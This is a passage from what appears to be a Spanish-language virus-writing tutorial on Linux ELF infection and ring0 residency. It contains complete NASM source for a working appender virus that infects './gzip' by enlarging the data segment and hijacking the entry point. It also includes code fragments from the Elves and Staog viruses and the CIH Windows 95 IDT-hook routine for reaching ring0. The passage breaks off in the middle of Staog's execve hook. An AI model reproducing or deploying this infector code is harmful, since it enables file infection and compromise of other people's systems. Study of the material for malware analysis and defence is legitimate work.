0x080480e8->0x08048308 at 0x000000e8: .has ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048308->0x08048738 at 0x00000308: .dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048738->0x08048956 at 0x00000738: .dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048998->0x08048b08 at 0x00000958: .rel.bss ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08048b10->0x08048b18 at 0x00000b10: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08048b18->0x08048e08 at 0x00000b18: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08048e10->0x08050dac at 0x00000e10: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08050db0->0x08050db8 at 0x00008db0: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x08050db8->0x08051f25 at 0x00008db8: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
0x08052f28->0x08053960 at 0x00009f28: .data ALLOC LOAD DATA HAS_CONTENTS
0x08053960->0x08053968 at 0x0000a960: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x08053968->0x08053968 at 0x0000a968: .dtors ALLOC LOAD DATA HAS_CONTENTS
0x08053970->0x08053a34 at 0x0000a970: .got ALLOC LOAD DATA HAS_CONTENTS
0x08053a34->0x08053abc at 0x0000aa34: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x08053abc->0x080a4078 at 0x0000aabc: .bss ALLOC
0x00000000->0x00000178 at 0x0000aabc: .comment READONLY HAS_CONTENTS
0x00000178->0x000002b8 at 0x0000ac34: .note READONLY HAS_CONTENTS


Fijaos en el curioso salto entre las seccion .rodata y .data debido a lo expuesto
anteriormente.Este comando permite visualizar como estara en memoria el
programa, pero su informacion no es relevante para la carga. Nisiquiera
sera necesario modificar la section header para insertar mas codigo ejecutable
en el archivo.
El program header es el verdadero informador en el proceso de carga. Normalmente
el program header contiene 5 entradas aunque es posible insertar mas.
La primera carga el program header, la segunda hace referencia a una string
con la rutina y nombre del interprete que sera la libreria encargada de crear la
imagen en memoria del proceso (normalmente ld-linux-so.1)
La tercera carga todas las secciones de solo-lectura, las que se encuentran en las
primeras entradas de la section header.
La cuarta carga las secciones de lectura/escritura y la quinta carga la seccion
.dynamic con informacion necesaria para el proceso de linkado dinamico.
Por lo tanto una solucion para insertar mas codigo ejecutable en un archivo
podria consistir en la ampliacion del segmento de datos.
Esto es bastante controvertido ya que si copiamos todo el codigo virico al final
del ejecutable es decir justo despues de la section header y ampliamos la
entrada de la program header correspondiente al segmento de datos. El codigo
Virico sobreescribiria una seccion logica del archivo la seccion .bss.
Como hemos visto con el volcado del gdb la seccion .bss es la ultima seccion
que forma parte del espacio del proceso, contiene el atributo ALLOC,sin
embargo no contiene el atributo LOAD por lo que no carga datos
del archivo.
Esto es debido a que la seccion .bss contiene datos no inicializados todavia
por el codigo del hoste.Que el codigo virico se mapee sobre esa seccion no
es muy poblematico porque el virus se ejecutara antes del propio huesped por
lo que tras la ejecucion del virus , a este le dara igual que el huesped
sobreescriba su codigo con datos.
Esa seccion en el momento de carga es rellenada con 0 por lo que una
mala programacion ,como por ejemplo suponer una variable no inicializada igual
a 0, podria poner al descubierto el virus.De todas formas el virus puede evitar
esto copiandose a otra zona de memoria y rellenando con 0 su posicion anterior
en .bss.
Otra posibilidad es crear otra entrada en la program header pero para ello
seria necesario desplazar la mayor parte del ejecutable lo que conllevaria
demasiado tiempo de infeccion.

;*********************************************************************
; Infeccion de Archivos ELF de linux
;*********************************************************************
; compilar con:
; nasm -f elf hole.asm -o hole.o
; gcc hole.o -o hole


[section .text]

[global main]

hoste: ret

main:
pusha ; comienzo del virus
; Pusheo todos los parametros
call getdelta ;
getdelta:pop ebp
sub ebp,getdelta

mov eax,125 ; modifico los atributos mediante mprotect
lea ebx,[ebp+main] ; para poder escribir en paginas protegidas
and ebx,0xfffff000 ; redondeo la direccion de main a parag
mov ecx,03000h ; lectura|escritura|ejecucion
mov edx,07h ; De todas formas teniendo en cuenta que nos vamos a copiar
int 80h ; en el segmento de datos esto solo tendra utilidad en la
; la primera generacion
mov ebx,01h
lea ecx,[ebp+texto]
mov edx,0bh
call sys_write ;visualizo "hola mundo" con un write en strout

mov eax,05
lea ebx,[ebp+archivo] ;abro el archivo a infectar (./gzip)
mov ecx,02 ;lectura|escritura
int 80h
mov ebx,eax ;el handle se guarda en el registro ebx

xor ecx,ecx
xor edx,edx ;voy al principio del archivo
call sys_lseek

lea ecx,[ebp+Elf_header] ;leo la cabecera del elf sobre la variable
mov edx,24h ;Elf_header
call sys_read

cmp word [ebp+Elf_header+8],0xDEAD ;Verifico que no estaba
jne infectar ;infectado
jmp salir
infectar:
mov word [ebp+Elf_header+8],0xDEAD
;la marca esta en los 2 primeros
;bytes de relleno en la ident structure

mov ecx,[ebp+e_phoff] ;e_phoff es un puntero a la program header
add ecx,8*4*3 ;obtengo la 3 entrada correspondiente al segmento
;de datos
push ecx
xor edx,edx
call sys_lseek ;voy a esa posicion

lea ecx,[ebp+Program_header] ;y leo la entrada
mov edx,8*4
call sys_read


add dword [ebp+p_filez],0x2000
;aumento el tamano del segmento
;en memoria y archivo
add dword [ebp+p_memez],0x2000

;el tamaño a sumar tiene que ser superior
;al tamaño del virus ,ya que ademas de copiar
;a memoria el codigo del virus tendremos que copiar la section table
;que se encuentra antes y que por defecto no es mapeada en memoria.
;Se podria desplazar la section table para no tenerla que copiar a memoria
;pero por razones de simplicidad no lo hago

pop ecx
xor edx,edx
call sys_lseek ;vuelvo a la posicion de la entrada

lea ecx,[ebp+Program_header]
mov edx,8*4
call sys_write ;escribo la entrada
;en el archivo


xor ecx,ecx
mov edx,02h
call sys_lseek ;me voy al final del archivo


;en eax el tamano del file
;que sera el offset fisico del
;virii


mov ecx,dword [ebp+oldentry]
mov dword [ebp+temp],ecx

mov ecx,dword [ebp+e_entry]
mov dword [ebp+oldentry],ecx

sub eax,dword [ebp+p_offset]
add dword [ebp+p_vaddr],eax
mov eax,dword [ebp+p_vaddr] ;en eax el nuevo entrypoint

mov dword [ebp+e_entry],eax

;Este es el calculo de la nueva direccion de entrada, que apuntara al codigo
;del virus. Para calcular la direccion virtual del virus en memoria muevo el
;puntero al final del archivo mediante lseek con lo que en el registro eax
;tendre el tamaño fisico del archivo (es decir la posicion fisica del virus
;en el archivo).
;Si a esa posicion le resto la posicion fisica del comienzo del segmento de
;datos tendre la posicion del virus respecto al comienzo del segmento de
;datos y si a esta le sumo la direccion virtual del segmento obtendre la
;direccion virtual del virus en memoria.

lea ecx,[ebp+main]
mov edx,virend-main
call sys_write ;escribo el virus al final


xor ecx,ecx
xor edx,edx
call sys_lseek ;me voy al principio

lea ecx,[ebp+Elf_header]
mov edx,24h
call sys_write ;modifico el header
;con el nuevo entrypoint

mov ecx,dword [ebp+temp]
mov dword [ebp+oldentry],ecx

salir: mov eax,06 ;cierro el archivo
int 80h
popa

db 068h ;opcode de un push
oldentry dd hoste ;regreso al archivo infectado
ret


sys_read: ;en ebx necesito el handle del file
mov eax,3
int 80h
ret
sys_write: ;en ebx necesito el handle del file
mov eax,4
int 80h
ret
sys_lseek: ;en ebx necesito el handle del file
mov eax,19
int 80h
ret

dir dd main
dw 010h
archivo db "./gzip",0 ;el archivo a infectar
datos db 0h

temp dd 0h ;guardo temporalmente oldentry

;**************** Zona de Datos **************************************

newentry db 00h,00h,00h,00h ;la nueva entrypoint del virii
newfentry db 00h,00h,00h,00h
myvaddr db 00h,00h,00h,00h
texto db 'HOLA MUNDO',0h

Elf_header:
e_ident: db 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h
e_type: db 00h,00h
e_machine: db 00h,00h
e_version: db 00h,00h,00h,00h
e_entry: db 00h,00h,00h,00h
e_phoff: db 00h,00h,00h,00h
e_shoff: db 00h,00h,00h,00h
e_flags: db 00h,00h,00h,00h
e_ehsize: db 00h,00h
e_phentsize: db 00h,00h
e_phnum: db 00h,00h
e_shentsize: db 00h,00h
e_shnum: db 00h,00h
e_shstrndx: db 00h,00h
jur: db 00h,00h,00h,00h

Program_header:
p_type db 00h,00h,00h,00h
p_offset db 00h,00h,00h,00h
p_vaddr db 00h,00h,00h,00h
p_paddr db 00h,00h,00h,00h
p_filez db 00h,00h,00h,00h
p_memez db 00h,00h,00h,00h
p_flags db 00h,00h,00h,00h
p_align db 00h,00h,00h,00h

Section_entry:
sh_name db 00h,00h,00h,00h
sh_type db 01h,00h,00h,00h
sh_flags db 03h,00h,00h,00h ;alloc
sh_addr db 00h,00h,00h,00h
sh_offset db 00h,00h,00h,00h
sh_size dd (virend-main)*2
sh_link db 00h,00h,00h,00h
sh_info db 00h,00h,00h,00h
sh_addralign db 01h,00h,00h,00h
sh_entsize db 00h,00h,00h,00h


virend:



Si ejecutamos el archivo en un directorio donte este el gzip
obtendremos el siguiente resultado por pantalla.

HOLA MUNDO

Y si ejecutamos el gzip obtendremos.

&gzip
HOLA MUNDOgzip: compressed data not written to a terminal. Use -f to force compression.
For help, type:gzip -h
$

Como veis el codigo virico se ejecuta antes del huesped y despues le devuelve el
control a este sin dificultad.


Sin embargo existen otros metodos que permiten la infeccion sin necesidad de
expandir una seccion de la program header.
El virus Staog o el virus Elves utilizan metodos alternativos.

El Staog por ejemplo sobreescribe el entrypoint del hoste con el codigo del
virus, y el codigo sobreescrito se copia al final del archivo.
El virus al tomar el control en el momento de ejecucion abre el archivo
(para hacerlo necesita saber el nombre del archivo en ejecucion ,que obtiene
de la pila), coge el codigo del virus y crea un archivo temporal en el
directorio /tmp. Despues de hacer esto llama a fork y mientras un hilo
de ejecucion ejecuta el codigo virico del archivo temporal mediante execve
el otro hilo de ejecucion se encarga de copiar codigo en la pila del programa
y dar el control a ese codigo que se encargara de reconstruir el codigo del
hoste y devolverle el control en el entrypoint.

El Elves , sin embargo, creado por Super del grupo 29A, utiliza un metodo
mas sofisticado con el que realiza residencia perprocess ,y evita que
los archivos infectados aumenten de tamaño (infeccion cavity).

NOTA: Para mas informacion sobre la residencia Perprocess y la estructura
y utilizacion de la PLT ,ver articulo Sobre Residencia Perprocess.

El metodo consiste en introducir el codigo virico dentro de la PLT. La PLT
es una estructura imprescindible del ejecutable que permite el linkado dinamico
de funciones. Para ello no mueve la PLT a otra parte del ejecutable ni nada
parecido, el codigo virico sobreescribe la PLT , pero esta sigue funcionando
perfectamente.
Como explico en el articulo sobre Residencia Perprocess, hay 2 maneras de
realizar una llamada a libreria, mediante el linkador dinamico (cuando no
sabemos cual es la direccion de la funcion), o directamente con una entrada
especifica para esa funcion en la PLT (cuando en la GOT ya hemos obtenido
la direccion).
Tras la infeccion del Elves el segundo metodo se desabilita y todas las
llamadas se realizan a traves del linkador dinamico.El virus sobreescribe
a partir de la segunda entrada dejando la primera entrada intacta (la entrada
que realiza el salto al linkador dinamico).

Como vemos en el articulo de Resid. Perprocess, una entrada en la plt tiene
esta forma.

jmp *direccion_de_la_got
pushl Entrada_en_la_reloc ;necesario para el L.D. sepa
jmp primera_entrada_de_la_plt ;que funcion necesita encontrar

Como veis no es un codigo muy optimizado, el primer jmp ocuparia 5 bytes
el push otros 5 bytes y el jmp siguiente otros 5 bytes, en total cada entrada
tendria 15 bytes.
El virus se divide por lo tanto en bloques de 15 bytes de modo que permite
una ejecucion secuencial del codigo de una forma normal ,pero en el caso
de que se intente saltar al comienzo de una entrada de la PLT, entonces
encontrara un jmp entrada_anterior_de_la_plt codificado unicamente con 2
bytes con los opcodes 0xeb,0xee.
Veamos un ejemplo



virus_start:
fake_plt_entry1:
pushl %eax
pushal
call get_delta

get_delta:
popl %edi
enter $Stat_size,$0x0
movl (Pushl+Pushal+Pushl)(%ebp),%eax

.byte 0x83
fake_plt_entry2:
.byte 0xeb,0xee

leal -0x7(%edi),%esi
addl -0x4(%eax),%eax
subl %esi,%eax
shrl %eax
movl %eax,(Pushl+Pushal)(%ebp)

.byte 0x83 ;Si ejecutamos estos 3 bytes secuencialmente
fake_plt_entry3: ;ejecutaremos los opcodes 0x83,0xeb,0de como si fueran
.byte 0xeb,0xde ;una unica instruccion con lo que ejecutaremos la instruccion
;sub ebx,-22
;Pero al realizar una llamada a sistema se salta a la entrada
;3 de la PLT el procesador encontrar los opcodes 0xeb,0xde
;que es el opcode de un jmp fake_plt_entry2

De este modo cuando se realiza un salto a una entrada de la PLT, el hilo
de ejecucion ira encontrado milagrosamente opcodes 0xeb y el hilo de ejecucion
ira pegando saltitos hacia atras hasta la etiqueta virus_start.
A partir de ahi el virus se ejecutara secuencialmente ejecutando instrucciones
basura como sub ebx,-22 que realmente ocultan jmp entrada_plt.Para despues
de intentar infectar el primer parametro de cada llamada a sistema realizar
un salto a la primera entrada de la PLT realizando el salto al L.D.
Recibi el codigo fuente de este virus para testearlo y desgraciadamente en
mi version de linux no es funcional. (Debian 2.0.34).
Esto es debido a que en su afan por optimizar en espacio el virus realiza el
codigo siguiente para apilar la entrada de la reloc y no tener que poner
un push valor en cada entrada (con lo que hubiese tenido que fragmentar el
virus en trozos mas pequeños).

;este es un codigo generico para apilar la entrada en la seccion
;reloc

movl (Pushl+Pushal+Pushl)(%ebp),%eax ; en eax el valor de retorno del CALL INM
leal -0x7(%edi),%esi ; en esi el offset del comienzo de la PLT
addl -0x4(%eax),%eax ; en eax el valor del INMEDIATO del call
subl %esi,%eax ; resto los 2 valores
shrl %eax ; en eax tendre la entrada de la reloc
movl %eax,(Pushl+Pushal)(%ebp) ; apilo el nuevo valor .

El L.D. necesita entradas en la seccion .reloc.plt para saber que direccion es
la que necesita resolver. Para ello supone que las entradas consecutivas de
la PLT tendran entradas consecutivas en seccion .reloc.plt y es cierto.
Si vemos el codigo de cualquier PLT el compilador pone en la primera
plt un PUSH 0 en la segunda pllt un PUSH 0x8 en la siguiente un PUSH 0x10
en la siguiente un PUSH 0x18 etc.
Esto realmente no es un problema, lo que si es un problema es suponer que
todas las llamadas a la PLT se realizan mediante la instruccion en ensamblador
CALL INMEDIATO (siendo inmediato un valor de 4 bytes).
Cuando realizamos un call en ensamblador el procesador apila el valor de
retorno, (es decir la direccion de la siguiente instruccion al CALL).
El virus como vemos lee de la pila ese valor , le resta 4 (lo que ocupa
el INMEDIATO del call) y le el valor almacenado en esa direccion es decir
el INMEDIATO del call. A ese valor le resta la direccion de la plt con
lo que obtenemos la diferencia en bytes de la entrada de la PLT a la que
hemos llamado y el comienzo de la PLT, y con este valor obtiene el valor
de entrada en la seccion reloc con una simple operacion de rotacion.
Este metodo es adecuado si unicamente se realizasen llamdas mediante el
opcode CALL INMEDIATO . Esto parece ser cierto en versiones modernas del
kernel ,pero por ejemplo mi version de linux realiza saltos a la PLT
del hoste mediante la instruccion call *ebp, ademas esta instruccion no
esta codificada en el hoste sino que la realiza el codigo del linkador
dinamico incluso antes de que el hoste reciba el control. (Todavia desconozco
el motivo).
Por lo demas es un metodo bastante interesante y util



3. Virus Residentes

3.1 Virus con Residencia Global en Ring0

Los Virus residentes en Ring0 son aquellos que consiguen maximos privilengios
en el procesador y ya en Ring0 consiguen interceptar las llamadas a sistema
realizadas por todos los procesos del sistema.
Para conseguir ring0 un proceso de usuario puede intentar realizar varias
cosas.Puede intentar modificar la IDT para general un Trap Gate , Modificar la
GDT o la LDT para crear un Call Gate o incluso puede parchear codigo que se
ejecute en Ring0 para recibir el hilo de ejecucion ya en Ring0.
Sin duda parece una tarea dificil, ya que todas esas estructuras estan o
deberian estarlo protegidas por el Sistema Operativo.
Pero eso no es asi en sistemas como Windows 95 donde codigo como este (utilizado
por el virus CIH) permite saltar a ring0 sin dificultad.

.586p
.model flat,STDCALL

extrn ExitProcess:PROC

.data
idtaddr dd 00h,00h
.code

;************* Comienzo del Codigo para conseguir Ring0 *************

startvirii:

sidt qword ptr [idtaddr] ;obtengo limite y dir. base de la IDT

mov ebx,dword ptr [idtaddr+2h] ;en ebx la base
add ebx,8d*5h ;modifico la int 5h por lo que me voy a
;su entrada en la IDT
lea edx,[ring0code] ;en edx estar el offset de ring0code

push word ptr [ebx] ;modifico el offset de la entrada de la IDT
mov word ptr [ebx],dx ;para que cuando se genere la int 5h
shr edx,16d ;salte a la direccion ring0code.
push word ptr [ebx+6d]
mov word ptr [ebx+6d],dx

int 5h ;genero la excepci¢n

mov ebx,dword ptr [idtaddr+2h] ;restauro el offset de la
add ebx,8d*5h ;entrada en la IDT
pop word ptr [ebx+6d]
pop word ptr [ebx]



Push LARGE -1
call ExitProcess

ring0code:pushad
;Codigo que se ejecuta en ring0

popad

salgoring0:iret



endvirii:


end:
end startvirii

¿Que hace posible que este codigo funcione en Windows? La respuesta es
simple , en primer lugar windows puede direccionar mediante selectores
de usuario la memoria del kernel, ademas aunque parezca mentira carece
de proteccion mediante paginacion en direcciones superiores a 0xC0000000
que corresponde como en linux a codigo que se ejecuta en ring0.
Por lo tanto si podemos direccionar la memoria de la IDT y si ademas podemos
escribir en ella.El salto a ring0 es facil. En este ejemplo hemos elegido
la interrupcion 0x5 porque ya es un Trap Gate en Windows ,por eso unicamente
modificamos la entrada de la IDT para que en vez de saltar a la direccion de
memoria asignada por el windows se salte a nuestra etiqueta ring0code dentro
de la memoria perprocess de nuestro proceso.
En Linux nisiquiera es posible direccionar la memoria de Usuario mediante
selectores de Ring0 por lo que el salto tampoco se podria realizar
en caso de que pudiesemos direccionar la memoria del kernel y la
proteccion mediante paginacion estuviese desactivada , la modificacion de la
IDT no seria suficiente. Ya que si modificamos la entrada 5h de la IDT para
generar un Trap gate que salte a la direccion de nuestro proceso "ring0code"
no se podria utilizar el selector de ring0 de linux (0x10)
En la IDT encontrariamos la direccion 0x10:ring0code para realizar el salto
Pero esa direccion no apunta a la memoria perprocess ya que la direccion
base del segmento 0x10 es 0xC0000000 realmente se saltaria a la
direccion 0xC0000000+ring0code.

Veamos donde reside la IDT en Linux.
Compilemos el siguiente codigo con el NASM.

[extern puts]
[global main]
[SECTION .text]

main: sidt [datos] ;obtengo en la variable datos la direccion de la idt
nop
sgdt [datos] ;obtengo en datos la direccion de la gdt
nop
sldt [datos] ;obtengo en datos la direccion de la ldt
nop
ret



[SECTION .data]
datos dd 0x0,0x0



Ejecutanto paso a paso, y leyendo el valor almacenado en datos obtenemos
los siguientes volcados de memoria. (0x80495ed=direccion de la variable datos)

Volcado despues de SIDT
(gdb)x/2 0x80495ed
0x80495ed <datos>: 0x501007FF 0x0807C180

Volcado despues de SGDT
(gdb)x/2 0x80495ed
0x80495ed <datos>: 0x6880203F 0x0807C010

Volcado despues de SLDT
(gdb)x/2 0x80495ed
0x80495ed <datos>: 0x688002Af 0x0807C010


La Primera y segunda instruccion en ensamblador devuelven en los 16 primeros
bits de Datos el limite de la IDT y de la GDT respectivamente y en los 32
siguientes Bits la Direccion lineal de esas estructuras.
Mientras que SLDT unicamente devuelve un selector que apunta a su descriptor
dentro de la GDT ( Cada LDT tiene que tener definido un descriptor en la
GDT).

Por lo tanto sabemos que la IDT tiene como direccion base 0xC1805010 y que
su limite es de 0x7FF bytes.
La GDT tendra como direccion 0xC0106880 y tendra un tamaño de 0x203f bytes
Y de la LDT sabemos por ahora unicamente que su descriptor es 0x2AF.
Como era de esperar son direcciones por encima de 0xC0000000 por lo que
estan bien protegidas de los procesos de usuario.

Otra manera de acceder a la memoria del kernel,podria consistir
en mapear paginas del kernel por debajo de la direccion 0xC0000000 ,pero
desgraciadamente eso no es posible ya que la propia tabla de paginas se
mapea a partir de la direccion 0xC0000000, por lo que no pude ser modificada
por procesos de ring3. Linux mapea toda la memoria fisica de tu maquina
a partir de la direccion lineal 0xC0000000 o lo que es lo mismo la direccion
virtual 0x0 utilizando el segmento del kernel 0x10.
Por lo que se pude elaborar un modulo que lea el registro CR3 que contiene
la direccion fisica de la tabla de paginas y con esa informacion visualice
la paginas mapeadas.
El programa seria el siguiente:


/********************************************************
Lector de la Tabla de Paginas
*********************************************************/


/*

Formato de una entrada

31-12 11-9 7 6 5 2 1 0
address OS 4M D A U/S R/W P

Si p=1 pagina esta en memoria
Si R/W=0 significa que es de solo lectura
Si U/S=1 significa que es una pagina de usuario
Si A=1 significa que la pagina a sido accedida
Si D=1 page dirty
Si 4M=1 es una pagina de 4M (solo para entrada de la tdd)
OS es especifico del sistema operativo



*/



#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/errno.h>
#include <linux/mm.h>
#include <asm/system.h>
#include <linux/sched.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/page.h>
#include <asm/pgtable.h>
#ifdef MODULE

extern void *sys_call_table[];
unsigned long *tpaginas;
unsigned long r_cr0;
unsigned long r_cr4; /* leo cirtos registros interesantes */

int init_module(void)
{
unsigned long *temp;
int x,y,z;

/* Leo la direccion fisica de la tabla de paginas
que corresponde con la direccion virtual */

/* Y de paso leo algunos registros del procesador
interesantes como cr0 y cr4 */

/* Como se ve en cr4 esta activada la opcion de
paginas de 4M */

/* Y en cr0 el bit WP activo :) */
__asm("
movl %cr3,%eax
movl %eax,(tpaginas)
movl %cr0,%eax
movl %eax,(r_cr0)
movl %cr4,%eax
movl %eax,(r_cr4)
"
);

x=tpaginas+0xc0000000;
printk(" La direccion fisica y virtual \n");
printk(" de la tabla de pagina es : %x\n",tpaginas);
printk(" Registro de Control Cr0: %x\n",r_cr0);
printk(" Registro de Control Cr4: %x\n",r_cr4);
for (z=0;z<90000000;z++){}
for(x=0x0;x<0x3ff;x++)
{
if (((unsigned long) *tpaginas & 0x01) == 1)
{
printk("Entrada %x -> %x ",x,(unsigned long) *tpaginas & 0xfffff000);
printk(" u/s:%d r/w:%d\n",(((unsigned long) *tpaginas & 0x04)>>2),(((unsigned long) *tpaginas & 0x02)>>1)); printk(" OS:%x ",((unsigned long) *tpaginas &0xffff ) >>9 );
printk(" p:%d\n",((unsigned long) *tpaginas & 0x01));

if ((((unsigned long) *tpaginas & 0x80)>>7)==1)
{
printk("En la direccion virtual-> %x",x<<22);
printk(" hay una pagina de 4M \n");
for (z=0;z<90000000;z++){};
tpaginas++;
continue;
};
for (z=0;z<4000000;z++){};

temp=((unsigned long) *tpaginas & 0xfffff000); /*en temp la direccion
de la tabla de paginas */

if (temp!=0 && ((unsigned long) *tpaginas & 0x1))
{
for (y=0;y<0x3ff;y++)
{

if (((unsigned long) *temp & 0x01) == 1)
{
printk("Virtual %x -> %x ",(x<<22|y<<12),((unsigned long) *temp & 0xfffff000));
printk(" u/s:%d r/w:%d",(((unsigned long) *temp & 0x04)>>2),(((unsigned long) *temp & 0x02)>>1));
printk(" OS:%x ",((unsigned long) *temp &0xffff ) >>9 );
printk(" p:%d\n",((unsigned long) *temp & 0x01));
};
if (*temp!=0) {for (z=0;z<4000000;z++){}}; /* relentizador */

temp++;
};

};
};
tpaginas++;

};

}

void cleanup_module(void)
{
}

#endif

Tras la ejecucion de este programa se pude obtener todas las paginas mapeadas
en ese momento y los atributos de proteccion de cada pagina.

Las primeras paginas que veriamos serian las paginas de solo lectura del proceso
en ejecucion en ring3 sobre la direccion 8040000 con atributos de solo lectura
y el bit de usuario, las siguientes corresponderian a las paginas de
lectura/escritura del ejecutable con atributos de usuario tambien.
Luego en la direccion 40000000 tendriamos la libreria libc mapeada de una manera
similar primero codigo de r/w y luego algunas paginas de solo lectura.
Cuando llegamos a la direccion lineal 0xC0000000 entramos en el maravilloso
segmento del nucleo donde esta mapeada toda la memoria fisica de tu ordenador
,si tienes Pentium o superior utilizara paginas de 4 Megas.
Es decir que si tienes 16 megas de RAM a partir de la la direccion 0xC0000000
linux utilizara 4 entradas de la tabla de directorios de paginas para mapear
esos 16 Megas , si tuvieras 32 utilizara 8 etc.
Este sistema nos lleva a realizarnos perguntas interesante como por ejemplo
¿que ocurriria si tuvieramos mas de 1 G de memoria fisica ?
En esas paginas reside el propio codigo del nucleo ademas de estructuras
importantes como la tabla de Paginas , y curiosamente carece de proteccion
por paginacion , utiliza atributos de r/w y el bit de usuario para marcar las
paginas, por lo que modulos mal programados que intenten sobreescribir el codigo
del nucleo lo lograran sin producirse nigun fallo de proteccion :).
Pero eso no es todo despues de mapear toda la memoria fisica de la maquina.
Mapea algunas paginas de 4 kb todas con atributos de Sistema, todas excepto
una que es la que utiliza para guardar la IDT (tabla de interrupciones) que
es la unica con atributos de solo lectura y bit S, por lo que modulos mal
programados que intenen acceder a esa tabla no la lograran modificar sino
que moriran por fallo de proteccion y el sistema permanecera estable.
El echo de que un proceso de ring0 no pueda modificar una pagina de solo
lectura es gestionado por el bit WP del registro de control CR4.
Si ese bit esta a 1 entonces los procesos de ring0 no podran escribir en
paginas de solo lectura ni de usuario de del kernel.
Si ese bit esta a 0 la proteccion de memoria funciona como en un 386 y un
proceso de ring0 puede hacer lo que le venga en gana, pudiendo modificar cualquier
pagina mapeada, sean cuales sean sus atributos de proteccion.
Por lo que un modulo de linux si desea modificar la IDT tendra primero que
desactivar el bit WP de CR4 para poder escribir, o modificar los atributos de
esa pagina en la tabla de paginas.

Por todo lo dicho, el verdadero mecanismo de proteccion de linux es la
segmentacion y no la paginacion como ocurre en NT.
Si tuvieramos segmentos de 4 G como ocurre en NT y la paginacion siguiera
tal cual, tendriamos libre acceso al codigo del kernel, pero ese no es el caso.

NOTA: Versiones actuales como la 2.2.XX del nucleo utilizan una proteccion
similar a win NT con segmentos de 4 G , desgraciadamente no he podido
ver la Tabla de paginas en estas versiones , pero es de locos pensar que
permanece constante.


Otra posibilidad de conseguir ring0 consiste en la utilizacion de la llamada a
sistema modify_ldt para generar un call gate. Esta llamada a sistema se creo
para que el WINE pueda emular el sistema de memoria de Windows, donde los
descriptores de segmentos de usuario residen en la LDT y no en la GDT, y donde
se pude direccionar toda la memoria mediante esos segmentos.
Generar un Call Gate mediante modify_ldt seria posible si pudieramos escribir
en todos los campos de cada entrada generada, pero eso no es posible.
En primer lugar modify_ldt no acepta como entrada un descriptor de segmento
de INTEL, sino que utiliza esta pseudo estructura que luego se traducira a
un descriptor en formato INTEL dentro de la llamada.

struct modify_ldt_ldt_s {
unsigned int entry_number; /* La entrada que queremos modificar */
unsigned long base_addr; /* La direccion base del segmento */
unsigned int limit; /* El limite del segmento */
unsigned int seg_32bit:1; /* Si es de 32 o 16 bits */
unsigned int contents:2; /* Si es de datos , codigo o stack */
unsigned int read_exec_only:1; /* Atributos de proteccion */
unsigned int limit_in_pages:1;
unsigned int seg_not_present:1; /* Si esta en memoria o no */
unsigned int useable:1;
};


Si vemos el codigo de la llamada en el archivo /usr/src/linux/arch/i386/kernel/ldt.c
Este codigo indica la transformacion de esa estructura a un descriptor de intel.

*lp = ((ldt_info.base_addr & 0x0000ffff) << 16) |
(ldt_info.limit & 0x0ffff);
*(lp+1) = (ldt_info.base_addr & 0xff000000) |
((ldt_info.base_addr & 0x00ff0000)>>16) |
(ldt_info.limit & 0xf0000) |
(ldt_info.contents << 10) |
((ldt_info.read_exec_only ^ 1) << 9) |
(ldt_info.seg_32bit << 22) |
(ldt_info.limit_in_pages << 23) |
((ldt_info.seg_not_present ^1) << 15) |
0x7000;

ldt_info es la estructura que hemos pasado como parametro y *lp es un puntero
dentro de la ldt donde reside la entrada de segmento que queremos modificar.
Viendo la estructura de una entrada de INTEL podemos entender la transformacion.

63-54 55 54 53 52 51-48 47 46-45 44 43-40 39-16 15-0

base G D R U limit P DPL S type base limit
31-24 19-16 23-0 15-0

Mediante *lp rellenamos los 32 primeros bits de la entrada que corresponden
a los 16 primeros bits del limite y a los 16 primeros bits de la direccion
base y mediante *(lp+1) rellenamos el resto de informacion.
Pero despues de realizar todas las operacion con ldt_info existe una operacior
or con la constante 0x7000.Pasando a binario esta constante obtenemos
0111000000000000 por lo que sabemos que siempre los descriptores generados tendran
los bits 44 45 y 46 activos.Estos bits corresponden con el bit S y la DPL.
DPL es igual a 0 para el kernel y 11 para los usuarios , asi que solo podremos
generar segmentos que sean de usuario.Esto da realmente igual para la generacion
de Call Gates ya que el call gate tiene que ser de usuario para que este lo pueda
utilizar.
Pero el siguiente Bit el Bit S si que tiene importancia.El bit S se pone a 1
cuando es un segmento normal, y a 0 cuando es un segmento de sistema como las
TSS o los Call Gates, asi que la generacion de Call Gates es Imposible mediante
modify_ldt.
Modify_ldt tambien limita la creaccion de segmentos de limite superior
a 0xC0000000 ,cosa que permitiria direccionar el espacio del kernel.
Modify_ldt revisa el limite del segmento que queremos crear mediante la funcion
limits_OK y retorna un valor booleano como se ve en esta instruccion.
Last sera el ultimo byte accesible por el segmento y first el primero, y la
constante TASK_SIZE toma el valor 0xC0000000

return (last >= first && last < TASK_SIZE);

Si no podemos escribir en la IDT,GDT ,LDT ni en la tabla de paginas para saltar
a ring0 y la llamda modify_ldt esta limitada para la generacion de Call Gates,
otra posibilidad es utilizar archivos virtuales para acceder a la memoria
del kernel.
Esto tiene un inconveniente muy importante y es que a estos archivos como
/dev/kmem o /dev/mem tiene acceso ,por defecto,unicamente el root.
De todas formas es una de las alternativas mas razonables para la generacion
de residentes globales para Linux. El Staog uno de los pocos virus para linux
utiliza este metodo , ademas no se limita a esperar a que el root ejecute un
archivo infectado sino que utiliza 3 exploits diferentes para conseguir
acceso a /dev/kmem , aunque la utilizacion de exploits limita la infeccion a
unas pocas versiones del kernel.
/dev/kmem proporciona acceso a la memoria del kernel , el primer byte de ese
archivo corresponde al primer byte del segmento del kernel, o lo que es lo
mismo a la direccion lineal 0xC0000000.


.text #Este es el codigo con el que intercepta
#la llamada a sistema execve
.string "Staog by Quantum / VLAD"

.global main
main:
movl %esp,%ebp
movl $11,%eax #En primer lugar verifica si ya esta
movl $0x666,%ebx #residente haciendo una llamada execve
int $0x80 #con el valor 0x666 en ebx, si esta residente
